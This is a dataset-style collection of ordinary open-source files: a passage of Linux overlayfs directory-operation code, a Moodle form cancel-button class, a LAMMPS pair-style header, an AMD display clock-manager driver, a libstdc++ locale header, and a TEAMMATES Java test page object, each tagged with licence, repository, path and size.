PTR_ERR(opaquedir); if (IS_ERR(opaquedir)) goto out_unlock; err = ovl_create_real(wdir, opaquedir, &stat, NULL, NULL, true); if (err) goto out_dput; err = ovl_copy_xattr(upper, opaquedir); if (err) goto out_cleanup; err = ovl_set_opaque(opaquedir); if (err) goto out_cleanup; mutex_lock(&opaquedir->d_inode->i_mutex); err = ovl_set_attr(opaquedir, &stat); mutex_unlock(&opaquedir->d_inode->i_mutex); if (err) goto out_cleanup; err = ovl_do_rename(wdir, opaquedir, udir, upper, RENAME_EXCHANGE); if (err) goto out_cleanup; ovl_cleanup_whiteouts(upper, list); ovl_cleanup(wdir, upper); unlock_rename(workdir, upperdir); /* dentry's upper doesn't match now, get rid of it */ d_drop(dentry); return opaquedir; out_cleanup: ovl_cleanup(wdir, opaquedir); out_dput: dput(opaquedir); out_unlock: unlock_rename(workdir, upperdir); out: return ERR_PTR(err); } static struct dentry *ovl_check_empty_and_clear(struct dentry *dentry) { int err; struct dentry *ret = NULL; LIST_HEAD(list); err = ovl_check_empty_dir(dentry, &list); if (err) ret = ERR_PTR(err); else { /* * If no upperdentry then skip clearing whiteouts. * * Can race with copy-up, since we don't hold the upperdir * mutex. Doesn't matter, since copy-up can't create a * non-empty directory from an empty one. */ if (ovl_dentry_upper(dentry)) ret = ovl_clear_empty(dentry, &list); } ovl_cache_free(&list); return ret; } static int ovl_create_over_whiteout(struct dentry *dentry, struct inode *inode, struct kstat *stat, const char *link, struct dentry *hardlink) { struct dentry *workdir = ovl_workdir(dentry); struct inode *wdir = workdir->d_inode; struct dentry *upperdir = ovl_dentry_upper(dentry->d_parent); struct inode *udir = upperdir->d_inode; struct dentry *upper; struct dentry *newdentry; int err; if (WARN_ON(!workdir)) return -EROFS; err = ovl_lock_rename_workdir(workdir, upperdir); if (err) goto out; newdentry = ovl_lookup_temp(workdir, dentry); err = PTR_ERR(newdentry); if (IS_ERR(newdentry)) goto out_unlock; upper = lookup_one_len(dentry->d_name.name, upperdir, dentry->d_name.len); err = PTR_ERR(upper); if (IS_ERR(upper)) goto out_dput; err = ovl_create_real(wdir, newdentry, stat, link, hardlink, true); if (err) goto out_dput2; if (S_ISDIR(stat->mode)) { err = ovl_set_opaque(newdentry); if (err) goto out_cleanup; err = ovl_do_rename(wdir, newdentry, udir, upper, RENAME_EXCHANGE); if (err) goto out_cleanup; ovl_cleanup(wdir, upper); } else { err = ovl_do_rename(wdir, newdentry, udir, upper, 0); if (err) goto out_cleanup; } ovl_dentry_version_inc(dentry->d_parent); ovl_dentry_update(dentry, newdentry); ovl_copyattr(newdentry->d_inode, inode); d_instantiate(dentry, inode); newdentry = NULL; out_dput2: dput(upper); out_dput: dput(newdentry); out_unlock: unlock_rename(workdir, upperdir); out: return err; out_cleanup: ovl_cleanup(wdir, newdentry); goto out_dput2; } static int ovl_create_or_link(struct dentry *dentry, int mode, dev_t rdev, const char *link, struct dentry *hardlink) { int err; struct inode *inode; struct kstat stat = { .mode = mode, .rdev = rdev, }; err = -ENOMEM; inode = ovl_new_inode(dentry->d_sb, mode, dentry->d_fsdata); if (!inode) goto out; err = ovl_copy_up(dentry->d_parent); if (err) goto out_iput; if (!ovl_dentry_is_opaque(dentry)) { err = ovl_create_upper(dentry, inode, &stat, link, hardlink); } else { const struct cred *old_cred; struct cred *override_cred; err = -ENOMEM; override_cred = prepare_creds(); if (!override_cred) goto out_iput; /* * CAP_SYS_ADMIN for setting opaque xattr * CAP_DAC_OVERRIDE for create in workdir, rename * CAP_FOWNER for removing whiteout from sticky dir */ cap_raise(override_cred->cap_effective, CAP_SYS_ADMIN); cap_raise(override_cred->cap_effective, CAP_DAC_OVERRIDE); cap_raise(override_cred->cap_effective, CAP_FOWNER); old_cred = override_creds(override_cred); err = ovl_create_over_whiteout(dentry, inode, &stat, link, hardlink); revert_creds(old_cred); put_cred(override_cred); } if (!err) inode = NULL; out_iput: iput(inode); out: return err; } static int ovl_create_object(struct dentry *dentry, int mode, dev_t rdev, const char *link) { int err; err = ovl_want_write(dentry); if (!err) { err = ovl_create_or_link(dentry, mode, rdev, link, NULL); ovl_drop_write(dentry); } return err; } static int ovl_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool excl) { return ovl_create_object(dentry, (mode & 07777) | S_IFREG, 0, NULL); } static int ovl_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) { return ovl_create_object(dentry, (mode & 07777) | S_IFDIR, 0, NULL); } static int ovl_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t rdev) { /* Don't allow creation of "whiteout" on overlay */ if (S_ISCHR(mode) && rdev == WHITEOUT_DEV) return -EPERM; return ovl_create_object(dentry, mode, rdev, NULL); } static int ovl_symlink(struct inode *dir, struct dentry *dentry, const char *link) { return ovl_create_object(dentry, S_IFLNK, 0, link); } static int ovl_link(struct dentry *old, struct inode *newdir, struct dentry *new) { int err; struct dentry *upper; err = ovl_want_write(old); if (err) goto out; err = ovl_copy_up(old); if (err) goto out_drop_write; upper = ovl_dentry_upper(old); err = ovl_create_or_link(new, upper->d_inode->i_mode, 0, NULL, upper); out_drop_write: ovl_drop_write(old); out: return err; } static int ovl_remove_and_whiteout(struct dentry *dentry, bool is_dir) { struct dentry *workdir = ovl_workdir(dentry); struct inode *wdir = workdir->d_inode; struct dentry *upperdir = ovl_dentry_upper(dentry->d_parent); struct inode *udir = upperdir->d_inode; struct dentry *whiteout; struct dentry *upper; struct dentry *opaquedir = NULL; int err; int flags = 0; if (WARN_ON(!workdir)) return -EROFS; if (is_dir) { if (OVL_TYPE_MERGE_OR_LOWER(ovl_path_type(dentry))) { opaquedir = ovl_check_empty_and_clear(dentry); err = PTR_ERR(opaquedir); if (IS_ERR(opaquedir)) goto out; } else { LIST_HEAD(list); /* * When removing an empty opaque directory, then it * makes no sense to replace it with an exact replica of * itself. But emptiness still needs to be checked. */ err = ovl_check_empty_dir(dentry, &list); ovl_cache_free(&list); if (err) goto out; } } err = ovl_lock_rename_workdir(workdir, upperdir); if (err) goto out_dput; upper = lookup_one_len(dentry->d_name.name, upperdir, dentry->d_name.len); err = PTR_ERR(upper); if (IS_ERR(upper)) goto out_unlock; err = -ESTALE; if ((opaquedir && upper != opaquedir) || (!opaquedir && ovl_dentry_upper(dentry) && upper != ovl_dentry_upper(dentry))) { goto out_dput_upper; } whiteout = ovl_whiteout(workdir, dentry); err = PTR_ERR(whiteout); if (IS_ERR(whiteout)) goto out_dput_upper; if (d_is_dir(upper)) flags = RENAME_EXCHANGE; err = ovl_do_rename(wdir, whiteout, udir, upper, flags); if (err) goto kill_whiteout; if (flags) ovl_cleanup(wdir, upper); ovl_dentry_version_inc(dentry->d_parent); out_d_drop: d_drop(dentry); dput(whiteout); out_dput_upper: dput(upper); out_unlock: unlock_rename(workdir, upperdir); out_dput: dput(opaquedir); out: return err; kill_whiteout: ovl_cleanup(wdir, whiteout); goto out_d_drop; } static int ovl_remove_upper(struct dentry *dentry, bool is_dir) { struct dentry *upperdir = ovl_dentry_upper(dentry->d_parent); struct inode *dir = upperdir->d_inode; struct dentry *upper; int err; mutex_lock_nested(&dir->i_mutex, I_MUTEX_PARENT); upper = lookup_one_len(dentry->d_name.name, upperdir, dentry->d_name.len); err = PTR_ERR(upper); if (IS_ERR(upper)) goto out_unlock; err = -ESTALE; if (upper == ovl_dentry_upper(dentry)) { if (is_dir) err = vfs_rmdir(dir, upper); else err = vfs_unlink(dir, upper, NULL); ovl_dentry_version_inc(dentry->d_parent); } dput(upper); /* * Keeping this dentry hashed would mean having to release * upperpath/lowerpath, which could only be done if we are the * sole user of this dentry. Too tricky... Just unhash for * now. */ if (!err) d_drop(dentry); out_unlock: mutex_unlock(&dir->i_mutex); return err; } static inline int ovl_check_sticky(struct dentry *dentry) { struct inode *dir = ovl_dentry_real(dentry->d_parent)->d_inode; struct inode *inode = ovl_dentry_real(dentry)->d_inode; if (check_sticky(dir, inode)) return -EPERM; return 0; } static int ovl_do_remove(struct dentry *dentry, bool is_dir) { enum ovl_path_type type; int err; err = ovl_check_sticky(dentry); if (err) goto out; err = ovl_want_write(dentry); if (err) goto out; err = ovl_copy_up(dentry->d_parent); if (err) goto out_drop_write; type = ovl_path_type(dentry); if (OVL_TYPE_PURE_UPPER(type)) { err = ovl_remove_upper(dentry, is_dir); } else { const struct cred *old_cred; struct cred *override_cred; err = -ENOMEM; override_cred = prepare_creds(); if (!override_cred) goto out_drop_write; /* * CAP_SYS_ADMIN for setting xattr on whiteout, opaque dir * CAP_DAC_OVERRIDE for create in workdir, rename * CAP_FOWNER for removing whiteout from sticky dir * CAP_FSETID for chmod of opaque dir * CAP_CHOWN for chown of opaque dir */ cap_raise(override_cred->cap_effective, CAP_SYS_ADMIN); cap_raise(override_cred->cap_effective, CAP_DAC_OVERRIDE); cap_raise(override_cred->cap_effective, CAP_FOWNER); cap_raise(override_cred->cap_effective, CAP_FSETID); cap_raise(override_cred->cap_effective, CAP_CHOWN); old_cred = override_creds(override_cred); err = ovl_remove_and_whiteout(dentry, is_dir); revert_creds(old_cred); put_cred(override_cred); } out_drop_write: ovl_drop_write(dentry); out: return err; } static int ovl_unlink(struct inode *dir, struct dentry *dentry) { return ovl_do_remove(dentry, false); } static int ovl_rmdir(struct inode *dir, struct dentry *dentry) { return ovl_do_remove(dentry, true); } static int ovl_rename2(struct inode *olddir, struct dentry *old, struct inode *newdir, struct dentry *new, unsigned int flags) { int err; enum ovl_path_type old_type; enum ovl_path_type new_type; struct dentry *old_upperdir; struct dentry *new_upperdir; struct dentry *olddentry; struct dentry *newdentry; struct dentry *trap; bool old_opaque; bool new_opaque; bool new_create = false; bool cleanup_whiteout = false; bool overwrite = !(flags & RENAME_EXCHANGE); bool is_dir = d_is_dir(old); bool new_is_dir = false; struct dentry *opaquedir = NULL; const struct cred *old_cred = NULL; struct cred *override_cred = NULL; err = -EINVAL; if (flags & ~(RENAME_EXCHANGE | RENAME_NOREPLACE)) goto out; flags &= ~RENAME_NOREPLACE; err = ovl_check_sticky(old); if (err) goto out; /* Don't copy up directory trees */ old_type = ovl_path_type(old); err = -EXDEV; if (OVL_TYPE_MERGE_OR_LOWER(old_type) && is_dir) goto out; if (new->d_inode) { err = ovl_check_sticky(new); if (err) goto out; if (d_is_dir(new)) new_is_dir = true; new_type = ovl_path_type(new); err = -EXDEV; if (!overwrite && OVL_TYPE_MERGE_OR_LOWER(new_type) && new_is_dir) goto out; err = 0; if (!OVL_TYPE_UPPER(new_type) && !OVL_TYPE_UPPER(old_type)) { if (ovl_dentry_lower(old)->d_inode == ovl_dentry_lower(new)->d_inode) goto out; } if (OVL_TYPE_UPPER(new_type) && OVL_TYPE_UPPER(old_type)) { if (ovl_dentry_upper(old)->d_inode == ovl_dentry_upper(new)->d_inode) goto out; } } else { if (ovl_dentry_is_opaque(new)) new_type = __OVL_PATH_UPPER; else new_type = __OVL_PATH_UPPER | __OVL_PATH_PURE; } err = ovl_want_write(old); if (err) goto out; err = ovl_copy_up(old); if (err) goto out_drop_write; err = ovl_copy_up(new->d_parent); if (err) goto out_drop_write; if (!overwrite) { err = ovl_copy_up(new); if (err) goto out_drop_write; } old_opaque = !OVL_TYPE_PURE_UPPER(old_type); new_opaque = !OVL_TYPE_PURE_UPPER(new_type); if (old_opaque || new_opaque) { err = -ENOMEM; override_cred = prepare_creds(); if (!override_cred) goto out_drop_write; /* * CAP_SYS_ADMIN for setting xattr on whiteout, opaque dir * CAP_DAC_OVERRIDE for create in workdir * CAP_FOWNER for removing whiteout from sticky dir * CAP_FSETID for chmod of opaque dir * CAP_CHOWN for chown of opaque dir */ cap_raise(override_cred->cap_effective, CAP_SYS_ADMIN); cap_raise(override_cred->cap_effective, CAP_DAC_OVERRIDE); cap_raise(override_cred->cap_effective, CAP_FOWNER); cap_raise(override_cred->cap_effective, CAP_FSETID); cap_raise(override_cred->cap_effective, CAP_CHOWN); old_cred = override_creds(override_cred); } if (overwrite && OVL_TYPE_MERGE_OR_LOWER(new_type) && new_is_dir) { opaquedir = ovl_check_empty_and_clear(new); err = PTR_ERR(opaquedir); if (IS_ERR(opaquedir)) { opaquedir = NULL; goto out_revert_creds; } } if (overwrite) { if (old_opaque) { if (new->d_inode || !new_opaque) { /* Whiteout source */ flags |= RENAME_WHITEOUT; } else { /* Switch whiteouts */ flags |= RENAME_EXCHANGE; } } else if (is_dir && !new->d_inode && new_opaque) { flags |= RENAME_EXCHANGE; cleanup_whiteout = true; } } old_upperdir = ovl_dentry_upper(old->d_parent); new_upperdir = ovl_dentry_upper(new->d_parent); trap = lock_rename(new_upperdir, old_upperdir); olddentry = lookup_one_len(old->d_name.name, old_upperdir, old->d_name.len); err = PTR_ERR(olddentry); if (IS_ERR(olddentry)) goto out_unlock; err = -ESTALE; if (olddentry != ovl_dentry_upper(old)) goto out_dput_old; newdentry = lookup_one_len(new->d_name.name, new_upperdir, new->d_name.len); err = PTR_ERR(newdentry); if (IS_ERR(newdentry)) goto out_dput_old; err = -ESTALE; if (ovl_dentry_upper(new)) { if (opaquedir) { if (newdentry != opaquedir) goto out_dput; } else { if (newdentry != ovl_dentry_upper(new)) goto out_dput; } } else { new_create = true; if (!d_is_negative(newdentry) && (!new_opaque || !ovl_is_whiteout(newdentry))) goto out_dput; } if (olddentry == trap) goto out_dput; if (newdentry == trap) goto out_dput; if (is_dir && !old_opaque && new_opaque) { err = ovl_set_opaque(olddentry); if (err) goto out_dput; } if (!overwrite && new_is_dir && old_opaque && !new_opaque) { err = ovl_set_opaque(newdentry); if (err) goto out_dput; } if (old_opaque || new_opaque) { err = ovl_do_rename(old_upperdir->d_inode, olddentry, new_upperdir->d_inode, newdentry, flags); } else { /* No debug for the plain case */ BUG_ON(flags & ~RENAME_EXCHANGE); err = vfs_rename(old_upperdir->d_inode, olddentry, new_upperdir->d_inode, newdentry, NULL, flags); } if (err) { if (is_dir && !old_opaque && new_opaque) ovl_remove_opaque(olddentry); if (!overwrite && new_is_dir && old_opaque && !new_opaque) ovl_remove_opaque(newdentry); goto out_dput; } if (is_dir && old_opaque && !new_opaque) ovl_remove_opaque(olddentry); if (!overwrite && new_is_dir && !old_opaque && new_opaque) ovl_remove_opaque(newdentry); /* * Old dentry now lives in different location. Dentries in * lowerstack are stale. We cannot drop them here because * access to them is lockless. This could be only pure upper * or opaque directory - numlower is zero. Or upper non-dir * entry - its pureness is tracked by flag opaque. */ if (old_opaque != new_opaque) { ovl_dentry_set_opaque(old, new_opaque); if (!overwrite) ovl_dentry_set_opaque(new, old_opaque); } if (cleanup_whiteout) ovl_cleanup(old_upperdir->d_inode, newdentry); ovl_dentry_version_inc(old->d_parent); ovl_dentry_version_inc(new->d_parent); out_dput: dput(newdentry); out_dput_old: dput(olddentry); out_unlock: unlock_rename(new_upperdir, old_upperdir); out_revert_creds: if (old_opaque || new_opaque) { revert_creds(old_cred); put_cred(override_cred); } out_drop_write: ovl_drop_write(old); out: dput(opaquedir); return err; } const struct inode_operations ovl_dir_inode_operations = { .lookup = ovl_lookup, .mkdir = ovl_mkdir, .symlink = ovl_symlink, .unlink = ovl_unlink, .rmdir = ovl_rmdir, .rename2 = ovl_rename2, .link = ovl_link, .setattr = ovl_setattr, .create = ovl_create, .mknod = ovl_mknod, .permission = ovl_permission, .getattr = ovl_dir_getattr, .setxattr = ovl_setxattr, .getxattr = ovl_getxattr, .listxattr = ovl_listxattr, .removexattr = ovl_removexattr, };
gpl-2.0
feniix/moodle
lib/form/cancel.php
1501
<?php require_once('HTML/QuickForm/submit.php'); /** * HTML class for a submit type element * * @author Jamie Pratt * @access public */ class MoodleQuickForm_cancel extends MoodleQuickForm_submit { // {{{ constructor /** * Class constructor * * @since 1.0 * @access public * @return void */ function MoodleQuickForm_cancel($elementName=null, $value=null, $attributes=null) { if ($elementName==null){ $elementName='cancel'; } if ($value==null){ $value=get_string('cancel'); } MoodleQuickForm_submit::MoodleQuickForm_submit($elementName, $value, $attributes); $this->updateAttributes(array('onclick'=>'skipClientValidation = true; return true;')); } //end constructor function onQuickFormEvent($event, $arg, &$caller) { switch ($event) { case 'createElement': $className = get_class($this); $this->$className($arg[0], $arg[1], $arg[2]); $caller->_registerCancelButton($this->getName()); return true; break; } return parent::onQuickFormEvent($event, $arg, $caller); } // end func onQuickFormEvent function getFrozenHtml(){ return HTML_QuickForm_submit::getFrozenHtml(); } function freeze(){ return HTML_QuickForm_submit::freeze(); } // }}} } //end class MoodleQuickForm_cancel ?>
gpl-2.0
ganzenmg/lammps_current
src/USER-CG-CMM/pair_lj_sdk_coul_long.h
2200
/* -*- c++ -*- ---------------------------------------------------------- LAMMPS - Large-scale Atomic/Molecular Massively Parallel Simulator http://lammps.sandia.gov, Sandia National Laboratories Steve Plimpton, [email protected] Copyright (2003) Sandia Corporation. Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains certain rights in this software. This software is distributed under the GNU General Public License. See the README file in the top-level LAMMPS directory. ------------------------------------------------------------------------- */ /* ---------------------------------------------------------------------- Contributing author: Axel Kohlmeyer (Temple U) ------------------------------------------------------------------------- */ #ifdef PAIR_CLASS PairStyle(lj/sdk/coul/long,PairLJSDKCoulLong) PairStyle(cg/cmm/coul/long,PairLJSDKCoulLong) #else #ifndef LMP_PAIR_LJ_SDK_COUL_LONG_H #define LMP_PAIR_LJ_SDK_COUL_LONG_H #include "pair.h" namespace LAMMPS_NS { class PairLJSDKCoulLong : public Pair { public: PairLJSDKCoulLong(class LAMMPS *); virtual ~PairLJSDKCoulLong(); virtual void compute(int, int); virtual void settings(int, char **); void coeff(int, char **); void init_style(); double init_one(int, int); void write_restart(FILE *); void read_restart(FILE *); void write_data(FILE *); void write_data_all(FILE *); virtual void write_restart_settings(FILE *); virtual void read_restart_settings(FILE *); virtual double single(int, int, int, int, double, double, double, double &); virtual void *extract(const char *, int &); virtual double memory_usage(); protected: double **cut_lj,**cut_ljsq; double cut_coul,cut_coulsq; double **epsilon,**sigma; double **lj1,**lj2,**lj3,**lj4,**offset; int **lj_type; // cutoff and offset for minimum of LJ potential // to be used in SDK angle potential, which // uses only the repulsive part of the potential double **rminsq, **emin; double cut_lj_global; double g_ewald; void allocate(); private: template <int EVFLAG, int EFLAG, int NEWTON_PAIR> void eval(); }; } #endif #endif
gpl-2.0
chenshuo/linux-study
drivers/gpu/drm/amd/display/dc/clk_mgr/dce112/dce112_clk_mgr.c
8472
/* * Copyright 2012-16 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Authors: AMD * */ #include "core_types.h" #include "clk_mgr_internal.h" #include "dce/dce_11_2_d.h" #include "dce/dce_11_2_sh_mask.h" #include "dce100/dce_clk_mgr.h" #include "dce110/dce110_clk_mgr.h" #include "dce112_clk_mgr.h" #include "dal_asic_id.h" /* set register offset */ #define SR(reg_name)\ .reg_name = mm ## reg_name /* set register offset with instance */ #define SRI(reg_name, block, id)\ .reg_name = mm ## block ## id ## _ ## reg_name static const struct clk_mgr_registers disp_clk_regs = { CLK_COMMON_REG_LIST_DCE_BASE() }; static const struct clk_mgr_shift disp_clk_shift = { CLK_COMMON_MASK_SH_LIST_DCE_COMMON_BASE(__SHIFT) }; static const struct clk_mgr_mask disp_clk_mask = { CLK_COMMON_MASK_SH_LIST_DCE_COMMON_BASE(_MASK) }; static const struct state_dependent_clocks dce112_max_clks_by_state[] = { /*ClocksStateInvalid - should not be used*/ { .display_clk_khz = 0, .pixel_clk_khz = 0 }, /*ClocksStateUltraLow - currently by HW design team not supposed to be used*/ { .display_clk_khz = 389189, .pixel_clk_khz = 346672 }, /*ClocksStateLow*/ { .display_clk_khz = 459000, .pixel_clk_khz = 400000 }, /*ClocksStateNominal*/ { .display_clk_khz = 667000, .pixel_clk_khz = 600000 }, /*ClocksStatePerformance*/ { .display_clk_khz = 1132000, .pixel_clk_khz = 600000 } }; //TODO: remove use the two broken down functions int dce112_set_clock(struct clk_mgr *clk_mgr_base, int requested_clk_khz) { struct clk_mgr_internal *clk_mgr_dce = TO_CLK_MGR_INTERNAL(clk_mgr_base); struct bp_set_dce_clock_parameters dce_clk_params; struct dc_bios *bp = clk_mgr_base->ctx->dc_bios; struct dc *dc = clk_mgr_base->ctx->dc; struct dmcu *dmcu = dc->res_pool->dmcu; int actual_clock = requested_clk_khz; /* Prepare to program display clock*/ memset(&dce_clk_params, 0, sizeof(dce_clk_params)); /* Make sure requested clock isn't lower than minimum threshold*/ requested_clk_khz = max(requested_clk_khz, clk_mgr_dce->base.dentist_vco_freq_khz / 62); dce_clk_params.target_clock_frequency = requested_clk_khz; dce_clk_params.pll_id = CLOCK_SOURCE_ID_DFS; dce_clk_params.clock_type = DCECLOCK_TYPE_DISPLAY_CLOCK; bp->funcs->set_dce_clock(bp, &dce_clk_params); actual_clock = dce_clk_params.target_clock_frequency; /* * from power down, we need mark the clock state as ClocksStateNominal * from HWReset, so when resume we will call pplib voltage regulator. */ if (requested_clk_khz == 0) clk_mgr_dce->cur_min_clks_state = DM_PP_CLOCKS_STATE_NOMINAL; /*Program DP ref Clock*/ /*VBIOS will determine DPREFCLK frequency, so we don't set it*/ dce_clk_params.target_clock_frequency = 0; dce_clk_params.clock_type = DCECLOCK_TYPE_DPREFCLK; if (!ASICREV_IS_VEGA20_P(clk_mgr_base->ctx->asic_id.hw_internal_rev)) dce_clk_params.flags.USE_GENLOCK_AS_SOURCE_FOR_DPREFCLK = (dce_clk_params.pll_id == CLOCK_SOURCE_COMBO_DISPLAY_PLL0); else dce_clk_params.flags.USE_GENLOCK_AS_SOURCE_FOR_DPREFCLK = false; bp->funcs->set_dce_clock(bp, &dce_clk_params); if (!IS_FPGA_MAXIMUS_DC(dc->ctx->dce_environment)) { if (dmcu && dmcu->funcs->is_dmcu_initialized(dmcu)) { if (clk_mgr_dce->dfs_bypass_disp_clk != actual_clock) dmcu->funcs->set_psr_wait_loop(dmcu, actual_clock / 1000 / 7); } } clk_mgr_dce->dfs_bypass_disp_clk = actual_clock; return actual_clock; } int dce112_set_dispclk(struct clk_mgr_internal *clk_mgr, int requested_clk_khz) { struct bp_set_dce_clock_parameters dce_clk_params; struct dc_bios *bp = clk_mgr->base.ctx->dc_bios; struct dc *dc = clk_mgr->base.ctx->dc; struct dmcu *dmcu = dc->res_pool->dmcu; int actual_clock = requested_clk_khz; /* Prepare to program display clock*/ memset(&dce_clk_params, 0, sizeof(dce_clk_params)); /* Make sure requested clock isn't lower than minimum threshold*/ if (requested_clk_khz > 0) requested_clk_khz = max(requested_clk_khz, clk_mgr->base.dentist_vco_freq_khz / 62); dce_clk_params.target_clock_frequency = requested_clk_khz; dce_clk_params.pll_id = CLOCK_SOURCE_ID_DFS; dce_clk_params.clock_type = DCECLOCK_TYPE_DISPLAY_CLOCK; bp->funcs->set_dce_clock(bp, &dce_clk_params); actual_clock = dce_clk_params.target_clock_frequency; /* * from power down, we need mark the clock state as ClocksStateNominal * from HWReset, so when resume we will call pplib voltage regulator. */ if (requested_clk_khz == 0) clk_mgr->cur_min_clks_state = DM_PP_CLOCKS_STATE_NOMINAL; if (!IS_FPGA_MAXIMUS_DC(dc->ctx->dce_environment)) { if (dmcu && dmcu->funcs->is_dmcu_initialized(dmcu)) { if (clk_mgr->dfs_bypass_disp_clk != actual_clock) dmcu->funcs->set_psr_wait_loop(dmcu, actual_clock / 1000 / 7); } } clk_mgr->dfs_bypass_disp_clk = actual_clock; return actual_clock; } int dce112_set_dprefclk(struct clk_mgr_internal *clk_mgr) { struct bp_set_dce_clock_parameters dce_clk_params; struct dc_bios *bp = clk_mgr->base.ctx->dc_bios; memset(&dce_clk_params, 0, sizeof(dce_clk_params)); /*Program DP ref Clock*/ /*VBIOS will determine DPREFCLK frequency, so we don't set it*/ dce_clk_params.target_clock_frequency = 0; dce_clk_params.pll_id = CLOCK_SOURCE_ID_DFS; dce_clk_params.clock_type = DCECLOCK_TYPE_DPREFCLK; if (!ASICREV_IS_VEGA20_P(clk_mgr->base.ctx->asic_id.hw_internal_rev)) dce_clk_params.flags.USE_GENLOCK_AS_SOURCE_FOR_DPREFCLK = (dce_clk_params.pll_id == CLOCK_SOURCE_COMBO_DISPLAY_PLL0); else dce_clk_params.flags.USE_GENLOCK_AS_SOURCE_FOR_DPREFCLK = false; bp->funcs->set_dce_clock(bp, &dce_clk_params); /* Returns the dp_refclk that was set */ return dce_clk_params.target_clock_frequency; } static void dce112_update_clocks(struct clk_mgr *clk_mgr_base, struct dc_state *context, bool safe_to_lower) { struct clk_mgr_internal *clk_mgr_dce = TO_CLK_MGR_INTERNAL(clk_mgr_base); struct dm_pp_power_level_change_request level_change_req; int patched_disp_clk = context->bw_ctx.bw.dce.dispclk_khz; /*TODO: W/A for dal3 linux, investigate why this works */ if (!clk_mgr_dce->dfs_bypass_active) patched_disp_clk = patched_disp_clk * 115 / 100; level_change_req.power_level = dce_get_required_clocks_state(clk_mgr_base, context); /* get max clock state from PPLIB */ if ((level_change_req.power_level < clk_mgr_dce->cur_min_clks_state && safe_to_lower) || level_change_req.power_level > clk_mgr_dce->cur_min_clks_state) { if (dm_pp_apply_power_level_change_request(clk_mgr_base->ctx, &level_change_req)) clk_mgr_dce->cur_min_clks_state = level_change_req.power_level; } if (should_set_clock(safe_to_lower, patched_disp_clk, clk_mgr_base->clks.dispclk_khz)) { patched_disp_clk = dce112_set_clock(clk_mgr_base, patched_disp_clk); clk_mgr_base->clks.dispclk_khz = patched_disp_clk; } dce11_pplib_apply_display_requirements(clk_mgr_base->ctx->dc, context); } static struct clk_mgr_funcs dce112_funcs = { .get_dp_ref_clk_frequency = dce_get_dp_ref_freq_khz, .update_clocks = dce112_update_clocks }; void dce112_clk_mgr_construct( struct dc_context *ctx, struct clk_mgr_internal *clk_mgr) { dce_clk_mgr_construct(ctx, clk_mgr); memcpy(clk_mgr->max_clks_by_state, dce112_max_clks_by_state, sizeof(dce112_max_clks_by_state)); clk_mgr->regs = &disp_clk_regs; clk_mgr->clk_mgr_shift = &disp_clk_shift; clk_mgr->clk_mgr_mask = &disp_clk_mask; clk_mgr->base.funcs = &dce112_funcs; }
gpl-2.0
atgreen/gcc
libstdc++-v3/config/locale/ieee_1003.1-2001/c_locale.h
1684
// Wrapper for underlying C-language localization -*- C++ -*- // Copyright (C) 2001-2013 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /** @file bits/c++locale.h * This is an internal header file, included by other library headers. * Do not attempt to use it directly. @headername{locale} */ // // ISO C++ 14882: 22.8 Standard locale categories. // // Written by Benjamin Kosnik <[email protected]> #include <clocale> #include <langinfo.h> // For codecvt #include <iconv.h> // For codecvt using iconv, iconv_t #include <nl_types.h> // For messages namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION typedef int* __c_locale; _GLIBCXX_END_NAMESPACE_VERSION } // namespace
gpl-2.0
LiHaoTan/teammates
src/test/java/teammates/test/pageobjects/EntityNotFoundPage.java
349
package teammates.test.pageobjects; public class EntityNotFoundPage extends AppPage { public EntityNotFoundPage(Browser browser) { super(browser); } @Override protected boolean containsExpectedPageContents() { return getPageSource().contains("TEAMMATES could not locate what you were trying to access."); } }
gpl-2.0